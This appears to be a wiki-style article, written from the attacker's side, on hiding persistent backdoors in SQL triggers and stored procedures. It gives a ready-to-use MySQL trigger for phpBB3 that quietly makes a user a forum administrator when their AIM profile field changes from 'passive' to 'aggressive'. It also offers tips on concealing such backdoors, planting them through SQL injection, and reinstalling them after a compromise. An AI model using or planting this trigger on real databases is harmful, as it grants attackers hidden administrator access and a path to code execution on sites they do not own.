SQL backdoor

SQL Malware affects a variety of database-driven applications, including but not limited to web applications, services, and desktop applications. This breed of malware is made possible by the SQL functionality for triggers and stored sub-procedures.

Concept

Notice: SQL malware persists beyond deletion of rows containing it from a table.

SQL malware can exist in subprocedures and triggers, resulting in its activation at the execution of every (or a specific) query. It can do anything from resetting a password hash to replacing user-contributed content with redirects browser exploits and other malware distribution tactics.

Protip: PostgreSQL allows a developer to write triggers, functions, and stored procedures in languages other than SQL. This may assist in making the backdoor harder to find, or adding additional functionality.

Subprocedures

Sub-procedures are similar to functions or methods in other programming languages. They can be passed arguments, perform operations on the arguments passed, and return computed data.

Event Procedures

Triggers, otherwise referred to as event procedures in other programming languages, may be attached to any table for update,delete, or insert queries. It is important to note that while triggers cannot be bound to select queries, many applications store user activity history in SQL (search history, for example). In stead of hooking the SELECT ... LIKE statement against the table being searched to determine if a search query contained a particular keyword, a developer can hook the INSERT query against the history table where the search is logged.

Implementation

These notes are for educational purposes only. Use of these code snippets on systems or databases that you do not own is a criminal act.

Protip: Depending on the databasing engine's version and configuration, it may be possible to inject SQL malware using SQL injection.

MySQL

• CREATE FUNCTION and CREATE PROCEDURE require the CREATE ROUTINE privilege to execute successfully. Depending on the security context of the CREATE statement's DEFINER clause, the SUPER privilege may also be required. (As of MySQL 5.0.3)
• CREATE TRIGGER requires the SUPER privilege on the selected database in order to execute successfully.
• CREATE TRIGGER was added to MySQL in version 5.0.2 and has not been removed since.

Syntax

Because MySQL procedures and triggers are meant to be stored by the SQL server rather than interpreted at runtime, a delimiter command must be used from the command line in order for the `;' character to pass through to the server unscathed. Create Trigger Syntax:

delimiter #
 create trigger trigger_name before [ update | insert | delete ] on table_name
 for each row begin
  [procedural sql code goes here]
 end; #
delimiter ;

Example: phpBB3 backdoor

Obtaining forum administrator level permissions on phpbb3 can allow an attacker to obtain remote code execution by enabling PHP in template files and embedding a PHP backdoor.

Code

delimiter # CREATE TRIGGER update_users BEFORE UPDATE ON phpbb3_users FOR EACH ROW BEGIN IF OLD.user_aim="passive" AND NEW.user_aim="aggressive" THEN SET NEW.group_id = 5; SET NEW.user_type = 3; END IF; END;# delimiter ;

Analysis

In phpBB3, default settings for user_type and group_id for an administrative user are 3 and 5, respectively. In order to ensure we don't trip our backdoor by accident, we require two actions to activate it. A user must first set their AIM (or AOL instant messenger) name in their forum profile to `passive'. This will meet the first criteria. Changing the AIM name directly from `passive' to `aggressive' will activate the backdoor and upgrade the user account to a forum administrator.

Backdoor Installation

Due to the fact that they lie virtually dormant until conditions are met and typically ensure escalation to code execution, backdoors of this type are typically installed after a machine is compromised in case of the event that access is lost.

Access/Configuration Requirements

One of the following is necessary to install your backdoor:

• MySQL CLI Access
• Ability to write files on the target system
• Multiple queries allowed in the SQL statements from the SQL api in use